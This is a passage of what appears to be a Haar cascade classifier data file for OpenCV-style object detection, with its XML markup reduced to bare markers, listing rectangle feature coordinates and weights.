14 1 1 2. + + <_> + 10 15 1 1 2. + + + + <_> + + <_> + 0 8 19 12 -1. + + <_> + 0 14 19 6 2. + + + + <_> + + <_> + 7 6 9 14 -1. + + <_> + 10 6 3 14 3. + + + + <_> + + <_> + 13 8 3 4 -1. + + <_> + 14 8 1 4 3. + + + + <_> + + <_> + 4 17 1 3 -1. + + <_> + 4 18 1 1 3. + + + + <_> + + <_> + 4 9 6 3 -1. + + <_> + 6 9 2 3 3. + + + + <_> + + <_> + 2 18 5 2 -1. + + <_> + 2 19 5 1 2. + + + + <_> + + <_> + 7 8 2 2 -1. + + <_> + 7 8 1 1 2. + + <_> + 8 9 1 1 2. + + + + <_> + + <_> + 7 8 2 2 -1. + + <_> + 7 8 1 1 2. + + <_> + 8 9 1 1 2. + + + + <_> + + <_> + 5 10 13 2 -1. + + <_> + 5 11 13 1 2. + + + + <_> + + <_> + 10 8 1 9 -1. + + <_> + 10 11 1 3 3. + + + + <_> + + <_> + 15 8 2 12 -1. + + <_> + 15 8 1 6 2. + + <_> + 16 14 1 6 2. + + + + <_> + + <_> + 4 0 3 5 -1. + + <_> + 5 0 1 5 3. + + + + <_> + + <_> + 12 6 3 7 -1. + + <_> + 13 6 1 7 3. + + + + <_> + + <_> + 7 16 6 4 -1. + + <_> + 9 16 2 4 3. + + + + <_> + + <_> + 9 16 2 1 -1. + + <_> + 10 16 1 1 2. + + + + <_> + + <_> + 6 10 9 2 -1. + + <_> + 9 10 3 2 3. + + + + <_> + + <_> + 0 6 15 14 -1. + + <_> + 0 13 15 7 2. + + + + <_> + + <_> + 9 1 5 6 -1. + + <_> + 9 3 5 2 3. + + + + <_> + + <_> + 3 9 3 4 -1. + + <_> + 4 9 1 4 3. + + + + <_> + + <_> + 5 7 3 6 -1. + + <_> + 6 7 1 6 3. + + + + <_> + + <_> + 17 16 1 2 -1. + + <_> + 17 17 1 1 2. + + + + <_> + + <_> + 9 8 6 12 -1. + + <_> + 11 8 2 12 3. + + + + <_> + + <_> + 6 10 6 1 -1. + + <_> + 8 10 2 1 3. + + + + <_> + + <_> + 7 17 9 3 -1. + + <_> + 10 17 3 3 3. + + + + <_> + + <_> + 14 18 6 2 -1. + + <_> + 14 19 6 1 2. + + + + <_> + + <_> + 9 5 3 14 -1. + + <_> + 10 5 1 14 3. + + + + <_> + + <_> + 8 16 9 4 -1. + + <_> + 11 16 3 4 3. + + + + <_> + + <_> + 0 0 4 14 -1. + + <_> + 0 7 4 7 2. + + + + <_> + + <_> + 8 1 6 3 -1. + + <_> + 10 1 2 3 3. + + + + <_> + + <_> + 6 8 3 4 -1. + + <_> + 7 8 1 4 3. + + + + <_> + + <_> + 4 8 3 4 -1. + + <_> + 5 8 1 4 3. + + + + <_> + + <_> + 5 1 6 5 -1. + + <_> + 7 1 2 5 3. + + + + <_> + + <_> + 1 18 1 2 -1. + + <_> + 1 19 1 1 2. + + + + <_> + + <_> + 7 0 6 6 -1. + + <_> + 7 2 6 2 3. + + + + <_> + + <_> + 0 18 4 2 -1. + + <_> + 0 19 4 1 2. + + + + <_> + + <_> + 12 3 8 12 -1. + + <_> + 12 7 8 4 3. + + + + <_> + + <_> + 12 9 3 4 -1. + + <_> + 13 9 1 4 3. + + + + <_> + + <_> + 12 8 3 5 -1. + + <_> + 13 8 1 5 3. + + + + <_> + + <_> + 16 0 2 1 -1. + + <_> + 17 0 1 1 2. + + + + <_> + + <_> + 5 17 1 3 -1. + + <_> + 5 18 1 1 3. + + + + <_> + + <_> + 10 2 3 6 -1. + + <_> + 10 4 3 2 3. + + + + <_> + + <_> + 4 17 2 3 -1. + + <_> + 4 18 2 1 3. + + + + <_> + + <_> + 12 7 1 9 -1. + + <_> + 12 10 1 3 3. + + + + <_> + + <_> + 7 6 3 9 -1. + + <_> + 8 6 1 9 3. + + + + <_> + + <_> + 17 13 3 6 -1. + + <_> + 17 15 3 2 3. + + + + <_> + + <_> + 7 7 3 8 -1. + + <_> + 8 7 1 8 3. + + + + <_> + + <_> + 5 0 3 5 -1. + + <_> + 6 0 1 5 3. + + + + <_> + + <_> + 4 6 9 8 -1. + + <_> + 7 6 3 8 3. + + + + <_> + + <_> + 2 9 3 3 -1. + + <_> + 3 9 1 3 3. + + + + <_> + + <_> + 16 18 4 2 -1. + + <_> + 16 19 4 1 2. + + + + <_> + + <_> + 17 10 3 10 -1. + + <_> + 17 15 3 5 2. + + + + <_> + + <_> + 8 9 6 4 -1. + + <_> + 10 9 2 4 3. + + + + <_> + + <_> + 5 2 10 12 -1. + + <_> + 5 6 10 4 3. + + + + <_> + + <_> + 6 9 6 3 -1. + + <_> + 8 9 2 3 3. + + + + <_> + + <_> + 11 7 3 7 -1. + + <_> + 12 7 1 7 3. + + + + <_> + + <_> + 12 8 6 4 -1. + + <_> + 14 8 2 4 3. + + + + <_> + + <_> + 14 8 6 5 -1. + + <_> + 16 8 2 5 3. + + + + <_> + + <_> + 12 12 2 4 -1. + + <_> + 12 14 2 2 2. + + + + <_> + + <_> + 3 15 1 2 -1. + + <_> + 3 16 1 1 2. + + + + <_> + + <_> + 12 7 3 4 -1. + + <_> + 13 7 1 4 3. + + + + <_> + + <_> + 10 0 6 6 -1. + + <_> + 12 0 2 6 3. + + + + <_> + + <_> + 10 6 3 8 -1. + + <_> + 11 6 1 8 3. + + + + <_> + + <_> + 16 17 1 2 -1. + + <_> + 16 18 1 1 2. + + + + <_> + + <_> + 16 16 1 3 -1. + + <_> + 16 17 1 1 3. + + + + <_> + + <_> + 11 11 1 2 -1. + + <_> + 11 12 1 1 2. + + + + <_> + + <_> + 3 7 6 9 -1. + + <_> + 5 7 2 9 3. + + + + <_> + + <_> + 4 18 9 1 -1. + + <_> + 7 18 3 1 3. + + + + <_> + + <_> + 0 11 4 9 -1. + + <_> + 0 14 4 3 3. + + + + <_> + + <_> + 9 17 6 3 -1. + + <_> + 11 17 2 3 3. + + + + <_> + + <_> + 7 8 6 12 -1. + + <_> + 9 8 2 12 3. + + + + <_> + + <_> + 6 8 3 4 -1. + + <_> + 7 8 1 4 3. + + + + <_> + + <_> + 3 17 1 3 -1. + + <_> + 3 18 1 1 3. + + + + <_> + + <_> + 11 9 6 4 -1. + + <_> + 13 9 2 4 3. + + + + <_> + + <_> + 6 1 3 2 -1. + + <_> + 7 1 1 2 3. + + + + <_> + + <_> + 1 0 2 1 -1. + + <_> + 2 0 1 1 2. + + + + <_> + + <_> + 1 0 2 14 -1. + + <_> + 1 0 1 7 2. + + <_> + 2 7 1 7 2. + + + + <_> + + <_> + 5 5 11 8 -1. + + <_> + 5 9 11 4 2. + + + + <_> + + <_> + 9 3 5 6 -1. + + <_> + 9 5 5 2 3. + + + + <_> + + <_> + 7 9 5 10 -1. + + <_> + 7 14 5 5 2. + + + + <_> + + <_> + 15 10 2 2 -1. + + <_> + 16 10 1 2 2. + + + + <_> + + <_> + 0 18 8 2 -1. + + <_> + 0 19 8 1 2. + + + + <_> + + <_> + 7 17 1 3 -1. + + <_> + 7 18 1 1 3. + + + + <_> + + <_> + 7 2 11 6 -1. + + <_> + 7 4 11 2 3. + + + + <_> + + <_> + 8 3 9 3 -1. + + <_> + 8 4 9 1 3. + + + + <_> + + <_> + 0 9 2 2 -1. + + <_> + 0 10 2 1 2. + + + + <_> + + <_> + 0 5 3 6 -1. + + <_> + 0 7 3 2 3. + + + + <_> + + <_> + 6 7 2 2 -1. + + <_> + 6 7 1 1 2. + + <_> + 7 8 1 1 2. + + + + <_> + + <_> + 7 6 3 6 -1. + + <_> + 8 6 1 6 3. + + + + <_> + + <_> + 12 1 6 4 -1. + + <_> + 14 1 2 4 3. + + + + <_> + + <_> + 9 11 6 8 -1. + + <_> + 11 11 2 8 3. + + + + <_> + + <_> + 17 15 3 3 -1. + + <_> + 17 16 3 1 3. + + + + <_> + + <_> + 6 6 3 9 -1. + + <_> + 6 9 3 3 3. + + + + <_> + + <_> + 0 5 8 6 -1. + + <_> + 0 5 4 3 2. + + <_> + 4 8 4 3 2. + + + + <_> + + <_> + 0 6 1 3 -1. + + <_> + 0 7 1 1 3. + + + + <_> + + <_> + 17 0 2 6 -1. + + <_> + 18 0 1 6 2. + + + + <_> + + <_> + 10 17 6 3 -1. + + <_> + 12 17 2 3 3. + + + + <_> + + <_> + 13 15 2 2 -1. + + <_> + 13 15 1 1 2. + + <_> + 14 16 1 1 2. + + + + <_> + + <_> + 4 0 12 3 -1. + + <_> + 4 1 12 1 3. + + + + <_> + + <_> + 5 3 10 9 -1. + + <_> + 5 6 10 3 3. + + + + <_> + + <_> + 7 7 9 7 -1. + + <_> + 10 7 3 7 3. + + + + <_> + + <_> + 5 8 9 6 -1. + + <_> + 8 8 3 6 3. + + + + <_> + + <_> + 0 16 6 2 -1. + + <_> + 0 17 6 1 2. + + + + <_> + + <_> + 12 6 7 14 -1. + + <_> + 12 13 7 7 2. + + + + <_> + + <_> + 13 7 6 8 -1. + + <_> + 15 7 2 8 3. + + + + <_> + + <_> + 2 10 6 3 -1. + + <_> + 4 10 2 3 3. + + + + <_> + + <_> + 18 17 1 3 -1. + + <_> + 18 18 1 1 3. + + + + <_> + + <_> + 7 1 6 2 -1. + + <_> + 7 2 6 1 2. + + + + <_> + + <_> + 6 0 6 4 -1. + + <_> + 6 2 6 2 2. + + + + <_> + + <_> + 8 18 6 2 -1. + + <_> + 10 18 2 2 3. + + + + <_> + + <_> + 7 6 5 2 -1. + + <_> + 7 7 5 1 2. + + + + <_> + + <_> + 6 7 3 6 -1. + + <_> + 7 7 1 6 3. + + + + <_> + + <_> + 18 18 2 2 -1. + + <_> + 18 18 1 1 2. + + <_> + 19 19 1 1 2. + + + + <_> + + <_> + 16 8 3 7 -1. + + <_> + 17 8 1 7 3. + + + + <_> + + <_> + 0 16 2 3 -1. + + <_> + 0 17 2 1 3. + + + + <_> + + <_> + 5 19 6 1 -1. + + <_> + 7 19 2 1 3. + + + + <_> + + <_> + 9 5 6 6 -1. + + <_> + 9 7 6 2 3. + + + + <_> + + <_> + 0 10 2 4 -1. + + <_> + 0 12 2 2 2. + + + + <_> + + <_> + 0 9 4 3 -1. + + <_> + 2 9 2 3 2. + + + + <_> + + <_> + 1 10 6 9 -1. + + <_> + 3 10 2 9 3. + + + + <_> + + <_> + 9 0 6 2 -1. + + <_> + 11 0 2 2 3. + + + + <_> + + <_> + 14 1 2 1 -1. + + <_> + 15 1 1 1 2. + + + + <_> + + <_> + 0 8 1 4 -1. + + <_> + 0 10 1 2 2. + + + + <_> + + <_> + 15 6 2 2 -1. + + <_> + 15 6 1 1 2. + + <_> + 16 7 1 1 2. + + + + <_> + + <_> + 7 5 3 6 -1. + + <_> + 8 5 1 6 3. + + + + <_> + + <_> + 19 17 1 3 -1. + + <_> + 19 18 1 1 3. + + + + <_> + + <_> + 7 10 3 1 -1. + + <_> + 8 10 1 1 3. + + + + <_> + + <_> + 12 1 6 6 -1. + + <_> + 14 1 2 6 3. + + + + <_> + + <_> + 15 5 2 1 -1. + + <_> + 16 5 1 1 2. + + + + <_> + + <_> + 8 2 7 4 -1. + + <_> + 8 4 7 2 2. + + + + <_> + + <_> + 4 0 14 15 -1. + + <_> + 4 5 14 5 3. + + + + <_> + + <_> + 7 8 6 6 -1. + + <_> + 9 8 2 6 3. + + + + <_> + + <_> + 11 17 1 3 -1. + + <_> + 11 18 1 1 3. + + + + <_> + + <_> + 12 16 2 4 -1. + + <_> + 12 16 1 2 2. + + <_> + 13 18 1 2 2. + + + + <_> + + <_> + 10 13 2 1 -1. + + <_> + 11 13 1 1 2. + + + + <_> + + <_> + 11 8 3 3 -1. + + <_> + 12 8 1 3 3. + + + + <_> + + <_> + 2 0 6 8 -1. + + <_> + 4 0 2 8 3. + + + + <_> + + <_> + 3 5 6 6 -1. + + <_> + 3 5 3 3 2. + + <_> + 6 8 3 3 2. + + + + <_> + + <_> + 10 8 3 3 -1. + + <_> + 11 8 1 3 3. + + + + <_> + + <_> + 5 17 4 2 -1. + + <_> + 5 18 4 1 2. + + + + <_> + + <_> + 8 16 5 2 -1. + + <_> + 8 17 5 1 2. + + + + <_> + + <_> + 0 4 3 3 -1. + + <_> + 0 5 3 1 3. + + + + <_> + + <_> + 6 3 6 2 -1. + + <_> + 8 3 2 2 3. + + + + <_> + + <_> + 4 4 9 3 -1. + + <_> + 7 4 3 3 3. + + + + <_> + + <_> + 0 13 1 4 -1. + + <_> + 0 15 1 2 2. + + + + <_> + + <_> + 0 17 8 3 -1. + + <_> + 0 18 8 1 3. + + + + <_> + + <_> + 6 1 11 6 -1. + + <_> + 6 3 11 2 3. + + + + <_> + + <_> + 4 10 6 2 -1. + + <_> + 6 10 2 2 3. + + + + <_> + + <_> + 10 8 1 12 -1. + + <_> + 10 14 1 6 2. + + + + <_> + + <_> + 5 8 3 4 -1. + + <_> + 6 8 1 4 3. + + + + <_> + + <_> + 0 17 1 3 -1. + + <_> + 0 18 1 1 3. + + + + <_> + + <_> + 0 17 1 3 -1. + + <_> + 0 18 1 1 3. + + + + <_> + + <_> + 13 8 3 4 -1. + + <_> + 14 8 1 4 3. + + + + <_> + + <_> + 1 5 5 4 -1. + + <_> + 1 7 5 2 2. + + + + <_> + + <_> + 18 14 1 2 -1. + + <_> + 18 15 1 1 2. + + + + <_> + + <_> + 13 8 2 4 -1. + + <_> + 14 8 1 4 2. + + + + <_> + + <_> + 10 6 6 8 -1. + + <_> + 12 6 2 8 3. + + + + <_> + + <_> + 8 6 6 10 -1. + + <_> + 10 6 2 10 3. + + + + <_> + + <_> + 17 16 1 3 -1. + + <_> + 17 17 1 1 3. + + + + <_> + + <_> + 1 7 2 10 -1. + + <_> + 2 7 1 10 2. + + + + <_> + + <_> + 5 9 6 3 -1. + + <_> + 7 9 2 3 3. + + + + <_> + + <_> + 0 8 5 12 -1. + + <_> + 0 14 5 6 2. + + + + <_> + + <_> + 0 11 1 3 -1. + + <_> + 0 12 1 1 3. + + + + <_> + + <_> + 6 16 6 4 -1. + + <_> + 8 16 2 4 3. + + + + <_> + + <_> + 0 6 2 6 -1. + + <_> + 0 8 2 2 3. + + + + <_> + + <_> + 11 18 2 1 -1. + + <_> + 12 18 1 1 2. + + + + <_> + + <_> + 5 1 9 2 -1. + + <_> + 5 2 9 1 2. + + + + <_> + + <_> + 0 0 1 2 -1. + + <_> + 0 1 1 1 2. + + + + <_> + + <_> + 15 9 3 3 -1. + + <_> + 16 9 1 3 3. + + + + <_> + + <_> + 18 16 1 3 -1. + + <_> + 18 17 1 1 3. + + + + <_> + + <_> + 11 10 6 1 -1. + + <_> + 13 10 2 1 3. + + + + <_> + + <_> + 1 3 4 4 -1. + + <_> + 3 3 2 4 2. + + + + <_> + + <_> + 11 2 1 18 -1. + + <_> + 11 8 1 6 3. + + + + <_> + + <_> + 9 1 5 12 -1. + + <_> + 9 5 5 4 3. + + + + <_> + + <_> + 12 0 8 1 -1. + + <_> + 16 0 4 1 2. + + + + <_> + + <_> + 8 6 3 10 -1. + + <_> + 9 6 1 10 3. + + + + <_> + + <_> + 19 2 1 6 -1. + + <_> + 19 4 1 2 3. + + + + <_> + + <_> + 18 6 2 2 -1. + + <_> + 18 7 2 1 2. + + + + <_> + + <_> + 7 7 3 4 -1. + + <_> + 8 7 1 4 3. + + + + <_> + + <_> + 5 0 6 5 -1. + + <_> + 7 0 2 5 3. + + + + <_> + + <_> + 0 3 7 3 -1. + + <_> + 0 4 7 1 3. + + + + <_> + + <_> + 1 6 2 1 -1. + + <_> + 2 6 1 1 2. + + + + <_> + + <_> + 4 8 2 10 -1. + + <_> + 4 8 1 5 2. + + <_> + 5 13 1 5 2. + + + + <_> + + <_> + 2 18 18 2 -1. + + <_> + 2 18 9 1 2. + + <_> + 11 19 9 1 2. + + + + <_> + + <_> + 2 7 4 4 -1. + + <_> + 2 7 2 2 2. + + <_> + 4 9 2 2 2. + + + + <_> + + <_> + 17 3 3 4 -1. + + <_> + 18 3 1 4 3. + + + + <_> + + <_> + 16 9 2 8 -1. + + <_> + 16 9 1 4 2. + + <_> + 17 13 1 4 2. + + + + <_> + + <_> + 15 7 1 6 -1. + + <_> + 15 9 1 2 3. + + + + <_> + + <_> + 14 2 2 2 -1. + + <_> + 14 3 2 1 2. + + + + <_> + + <_> + 17 0 2 3 -1. + + <_> + 17 1 2 1 3. + + + + <_> + + <_> + 16 18 2 2 -1. + + <_> + 16 18 1 1 2. + + <_> + 17 19 1 1 2. + + + + <_> + + <_> + 10 4 4 3 -1. + + <_> + 10 5 4 1 3. + + + + <_> + + <_> + 0 2 8 6 -1. + + <_> + 4 2 4 6 2. + + + + <_> + + <_> + 7 14 6 6 -1. + + <_> + 7 16 6 2 3. + + + + <_> + + <_> + 11 15 2 2 -1. + + <_> + 11 16 2 1 2. + + + + <_> + + <_> + 7 1 9 4 -1. + + <_> + 10 1 3 4 3. + + + + <_> + + <_> + 9 7 3 7 -1. + + <_> + 10 7 1 7 3. + + + + <_> + + <_> + 6 17 2 2 -1. + + <_> + 6 17 1 1 2. + + <_> + 7 18 1 1 2. + + + + <_> + + <_> + 4 6 3 9 -1. + + <_> + 5 6 1 9 3. + + + + <_> + + <_> + 0 10 19 10 -1. + + <_> + 0 15 19 5 2. + + + + <_> + + <_> + 5 17 6 1 -1. + + <_> + 7 17 2 1 3. + + + + <_> + + <_> + 0 12 6 3 -1. + + <_> + 3 12 3 3 2. + + + + <_> + + <_> + 2 5 18 5 -1. + + <_> + 8 5 6 5 3. + + + + <_> + + <_> + 1 15 6 4 -1. + + <_> + 1 17 6 2 2. + + + + <_> + + <_> + 14 10 6 6 -1. + + <_> + 16 10 2 6 3. + + + + <_> + + <_> + 0 14 4 3 -1. + + <_> + 0 15 4 1 3. + + + + <_> + + <_> + 1 7 6 11 -1. + + <_> + 3 7 2 11 3. + + + + <_> + + <_> + 13 17 7 2 -1. + + <_> + 13 18 7 1 2. + + + + <_> + + <_> + 0 14 2 3 -1. + + <_> + 0 15 2 1 3. + + + + <_> + + <_> + 0 0 6 2 -1. + + <_> + 3 0 3 2 2. + + + + <_> + + <_> + 0 1 6 3 -1. + + <_> + 3 1 3 3 2. + + + + <_> + + <_> + 0 8 2 6 -1. + + <_> + 0 10 2 2 3. + + + + <_> + + <_> + 1 2 6 14 -1. + + <_> + 1 2 3 7 2. + + <_> + 4 9 3 7 2. + + + + <_> + + <_> + 17 5 2 2 -1. + + <_> + 17 5 1 1 2. + + <_> + 18 6 1 1 2. + + + + <_> + + <_> + 11 10 9 4 -1. + + <_> + 14 10 3 4 3. + + + + <_> + + <_> + 2 9 12 4 -1. + + <_> + 6 9 4 4 3. + + + + <_> + + <_> + 7 10 12 2 -1. + + <_> + 11 10 4 2 3. + + + + <_> + + <_> + 2 13 1 2 -1. + + <_> + 2 14 1 1 2. + + + + <_> + + <_> + 16 7 4 3 -1. + + <_> + 16 8 4 1 3. + + + + <_> + + <_> + 19 16 1 3 -1. + + <_> + 19 17 1 1 3. + + + + <_> + + <_> + 18 11 1 2 -1. + + <_> + 18 12 1 1 2. + + + + <_> + + <_> + 12 7 8 2 -1. + + <_> + 12 7 4 1 2. + + <_> + 16 8 4 1 2. + + + + <_> + + <_> + 14 9 2 4 -1. + + <_> + 15 9 1 4 2. + + + + <_> + + <_> + 14 2 6 4 -1. + + <_> + 14 2 3 2 2. + + <_> + 17 4 3 2 2. + + + + <_> + + <_> + 14 0 6 1 -1. + + <_> + 17 0 3 1 2. + + + + <_> + + <_> + 3 12 2 1 -1. + + <_> + 4 12 1 1 2. + + + + <_> + + <_> + 17 2 3 1 -1. + + <_> + 18 2 1 1 3. + + + + <_> + + <_> + 1 16 18 2 -1. + + <_> + 7 16 6 2 3. + + + + <_> + + <_> + 2 19 8 1 -1. + + <_> + 6 19 4 1 2. + + + + <_> + + <_> + 1 17 4 3 -1. + + <_> + 1 18 4 1 3. + + + + <_> + + <_> + 19 13 1 2 -1. + + <_> + 19 14 1 1 2. + + + + <_> + + <_> + 9 16 10 4 -1. + + <_> + 9 16 5 2 2. + + <_> + 14 18 5 2 2. + + + + <_> + + <_> + 12 9 2 4 -1. + + <_> + 12 9 1 2 2. + + <_> + 13 11 1 2 2. + + + + <_> + + <_> + 19 11 1 9 -1. + + <_> + 19 14 1 3 3. + + + + <_> + + <_> + 6 6 14 14 -1. + + <_> + 6 13 14 7 2. + + + + <_> + + <_> + 2 17 4 2 -1. + + <_> + 2 18 4 1 2. + + + + <_> + + <_> + 0 2 1 3 -1. + + <_> + 0 3 1 1 3. + + + + <_> + + <_> + 0 12 1 3 -1. + + <_> + 0 13 1 1 3. + + + + <_> + + <_> + 15 15 4 4 -1. + + <_> + 15 17 4 2 2. + + + + <_> + + <_> + 2 5 18 7 -1. + + <_> + 8 5 6 7 3. + + + + <_> + + <_> + 1 16 5 3 -1. + + <_> + 1 17 5 1 3. + + + + <_> + + <_> + 0 4 2 3 -1. + + <_> + 0 5 2 1 3. + + + + <_> + + <_> + 0 6 2 6 -1. + + <_> + 1 6 1 6 2. + + + + <_> + + <_> + 16 14 4 3 -1. + + <_> + 16 15 4 1 3. + + + + <_> + + <_> + 0 0 10 6 -1. + + <_> + 0 0 5 3 2. + + <_> + 5 3 5 3 2. + + + + <_> + + <_> + 2 2 3 6 -1. + + <_> + 3 2 1 6 3. + + + + <_> + + <_> + 2 0 3 10 -1. + + <_> + 3 0 1 10 3. + + + + <_> + + <_> + 5 5 2 2 -1. + + <_> + 5 6 2 1 2. + + + + <_> + + <_> + 12 6 4 4 -1. + + <_> + 12 8 4 2 2. + + + + <_> + + <_> + 13 5 7 3 -1. + + <_> + 13 6 7 1 3. + + + + <_> + + <_> + 10 13 1 2 -1. + + <_> + 10 14 1 1 2. + + + + <_> + + <_> + 16 16 4 2 -1. + + <_> + 18 16 2 2 2. + + + + <_> + + <_> + 16 12 4 7 -1. + + <_> + 18 12 2 7 2. + + + + <_> + + <_> + 16 17 1 3 -1. + + <_> + 16 18 1 1 3. + + + + <_> + + <_> + 19 9 1 3 -1. + + <_> + 19 10 1 1 3. + + + + <_> + + <_> + 18 7 2 6 -1. + + <_> + 19 7 1 6 2. + + + + <_> + + <_> + 8 1 3 4 -1. + + <_> + 9 1 1 4 3. + + + + <_> + + <_> + 14 0 6 9 -1. + + <_> + 16 0 2 9 3. + + + + <_> + + <_> + 4 2 10 2 -1. + + <_> + 9 2 5 2 2. + + + + <_> + + <_> + 2 12 8 4 -1. + + <_> + 2 12 4 2 2. + + <_> + 6 14 4 2 2. + + + + <_> + + <_> + 0 4 7 3 -1. + + <_> + 0 5 7 1 3. + + + + <_> + + <_> + 14 14 3 3 -1. + + <_> + 15 14 1 3 3. + + + + <_> + + <_> + 0 3 4 3 -1. + + <_> + 2 3 2 3 2. + + + + <_> + + <_> + 1 0 2 7 -1. + + <_> + 2 0 1 7 2. + + + + <_> + + <_> + 15 16 4 4 -1. + + <_> + 15 18 4 2 2. + + + + <_> + + <_> + 5 8 12 4 -1. + + <_> + 5 10 12 2 2. + + + + <_> + + <_> + 3 17 1 2 -1. + + <_> + 3 18 1 1 2. + + + + <_> + + <_> + 6 1 3 4 -1. + + <_> + 7 1 1 4 3. + + + + <_> + + <_> + 6 2 3 4 -1. + + <_> + 7 2 1 4 3. + + + + <_> + + <_> + 6 8 9 12 -1. + + <_> + 9 8 3 12 3. + + + + <_> + + <_> + 8 1 8 6 -1. + + <_> + 8 3 8 2 3. + + + + <_> + + <_> + 14 2 6 3 -1. + + <_> + 17 2 3 3 2. + + + + <_> + + <_> + 0 6 1 3 -1. + + <_> + 0 7 1 1 3. + + + + <_> + + <_> + 10 0 10 2 -1. + + <_> + 15 0 5 2 2. + + + + <_> + + <_> + 11 0 3 2 -1. + + <_> + 12 0 1 2 3. + + + + <_> + + <_> + 3 19 10 1 -1. + + <_> + 8 19 5 1 2. + + + + <_> + + <_> + 0 4 7 16 -1. + + <_> + 0 12 7 8 2. + + + + <_> + + <_> + 2 16 1 3 -1. + + <_> + 2 17 1 1 3. + + + + <_> + + <_> + 7 8 12 6 -1. + + <_> + 11 8 4 6 3. + + + + <_> + + <_> + 14 9 6 7 -1. + + <_> + 16 9 2 7 3. + + + + <_> + + <_> + 12 17 6 1 -1. + + <_> + 14 17 2 1 3. + + + + <_> + + <_> + 16 1 3 1 -1. + + <_> + 17 1 1 1 3. + + + + <_> + + <_> + 0 17 8 2 -1. + + <_> + 0 17 4 1 2. + + <_> + 4 18 4 1 2. + + + + <_> + + <_> + 17 0 2 1 -1. + + <_> + 18 0 1 1 2. + + + + <_> + + <_> + 4 15 6 5 -1. + + <_> + 6 15 2 5 3. + + + + <_> + + <_> + 7 2 8 2 -1. + + <_> + 7 3 8 1 2. + + + + <_> + + <_> + 4 1 8 4 -1. + + <_> + 4 3 8 2 2. + + + + <_> + + <_> + 5 19 2 1 -1. + + <_> + 6 19 1 1 2. + + + + <_> + + <_> + 5 19 2 1 -1. + + <_> + 6 19 1 1 2. + + + + <_> + + <_> + 16 17 1 3 -1. + + <_> + 16 18 1 1 3. + + + + <_> + + <_> + 0 11 2 3 -1. + + <_> + 1 11 1 3 2. + + + + <_> + + <_> + 0 19 4 1 -1. + + <_> + 2 19 2 1 2. + + + + <_> + + <_> + 0 18 4 2 -1. + + <_> + 2 18 2 2 2. + + + + <_> + + <_> + 2 17 1 3 -1. + + <_> + 2 18 1 1 3. + + + + <_> + + <_> + 5 7 11 2 -1. + + <_> + 5 8 11 1 2. + + + + <_> + + <_> + 9 2 4 10 -1. + + <_> + 9 7 4 5 2. + + + + <_> + + <_> + 0 2 4 3 -1. + + <_> + 0 3 4 1 3. + + + + <_> + + <_> + 10 19 10 1 -1. + + <_> + 15 19 5 1 2. + + + + <_> + + <_> + 11 17 8 3 -1. + + <_> + 15 17 4 3 2. + + + + <_> + + <_> + 8 19 3 1 -1. + + <_> + 9 19 1 1 3. + + + + <_> + + <_> + 14 0 3 4 -1. + + <_> + 15 0 1 4 3. + + + + <_> + + <_> + 10 6 4 3 -1. + + <_> + 10 7 4 1 3. + + + + <_> + + <_> + 0 8 3 2 -1. + + <_> + 0 9 3 1 2. + + + + <_> + + <_> + 7 12 3 6 -1. + + <_> + 7 14 3 2 3. + + + + <_> + + <_> + 1 18 1 2 -1. + + <_> + 1 19 1 1 2. + + + + <_> + + <_> + 0 12 4 4 -1. + + <_> + 2 12 2 4 2. + + + + <_> + + <_> + 1 8 6 7 -1. + + <_> + 3 8 2 7 3. + + + + <_> + + <_> + 0 8 4 5 -1. + + <_> + 2 8 2 5 2. + + + + <_> + + <_> + 19 16 1 3 -1. + + <_> + 19 17 1 1 3. + + + + <_> + + <_> + 1 5 18 6 -1. + + <_> + 7 5 6 6 3. + + + + <_> + + <_> + 2 15 4 2 -1. + + <_> + 2 16 4 1 2. + + + + <_> + + <_> + 18 6 2 11 -1. + + <_> + 19 6 1 11 2. + + + + <_> + + <_> + 0 12 2 6 -1. + + <_> + 0 14 2 2 3. + + + + <_> + + <_> + 12 5 3 2 -1. + + <_> + 12 6 3 1 2. + + + + <_> + + <_> + 1 3 2 3 -1. + + <_> + 1 4 2 1 3. + + + + <_> + + <_> + 16 14 4 4 -1. + + <_> + 16 16 4 2 2. + + + + <_> + + <_> + 6 8 12 5 -1. + + <_> + 10 8 4 5 3. + + + + <_> + + <_> + 13 7 2 7 -1. + + <_> + 14 7 1 7 2. + + + + <_> + + <_> + 1 8 2 6 -1. + + <_> + 2 8 1 6 2. + + + + <_> + + <_> + 15 0 3 7 -1. + + <_> + 16 0 1 7 3. + + + + <_> + + <_> + 4 2 6 2 -1. + + <_> + 6 2 2 2 3. + + + + <_> + + <_> + 0 9 20 9 -1. + + <_> + 0 12 20 3 3. + + + + <_> + + <_> + 10 14 2 2 -1. + + <_> + 10 15 2 1 2. + + + + <_> + + <_> + 6 5 10 4 -1. + + <_> + 6 7 10 2 2. + + + + <_> + + <_> + 6 1 5 9 -1. + + <_> + 6 4 5 3 3. + + + + <_> + + <_> + 16 18 2 2 -1. + + <_> + 16 18 1 1 2. + + <_> + 17 19 1 1 2. + + + + <_> + + <_> + 0 14 2 4 -1. + + <_> + 0 16 2 2 2. + + + + <_> + + <_> + 10 8 2 5 -1. + + <_> + 11 8 1 5 2. + + + + <_> + + <_> + 3 7 12 7 -1. + + <_> + 7 7 4 7 3. + + + + <_> + + <_> + 0 0 6 6 -1. + + <_> + 3 0 3 6 2. + + + + <_> + + <_> + 1 0 4 4 -1. + + <_> + 3 0 2 4 2. + + + + <_> + + <_> + 0 0 6 8 -1. + + <_> + 2 0 2 8 3. + + + + <_> + + <_> + 0 0 2 1 -1. + + <_> + 1 0 1 1 2. + + + + <_> + + <_> + 0 0 3 3 -1. + + <_> + 0 1 3 1 3. + + + + <_> + + <_> + 5 4 2 4 -1. + + <_> + 5 6 2 2 2. + + + + <_> + + <_> + 2 10 9 1 -1. + + <_> + 5 10 3 1 3. + + + + <_> + + <_> + 1 17 1 3 -1. + + <_> + 1 18 1 1 3. + + + + <_> + + <_> + 0 17 2 3 -1. + + <_> + 0 18 2 1 3. + + + + <_> + + <_> + 0 15 16 3 -1. + + <_> + 8 15 8 3 2. + + + + <_> + + <_> + 0 5 4 1 -1. + + <_> + 2 5 2 1 2. + + + + <_> + + <_> + 1 0 6 20 -1. + + <_> + 3 0 2 20 3. + + + + <_> + + <_> + 2 5 4 6 -1. + + <_> + 2 5 2 3 2. + + <_> + 4 8 2 3 2. + + + + <_> + + <_> + 9 16 6 3 -1. + + <_> + 11 16 2 3 3. + + + + <_> + + <_> + 11 17 6 1 -1. + + <_> + 14 17 3 1 2. + + + + <_> + + <_> + 3 17 15 2 -1. + + <_> + 8 17 5 2 3. + + + + <_> + + <_> + 18 0 2 3 -1. + + <_> + 18 1 2 1 3. + + + + <_> + 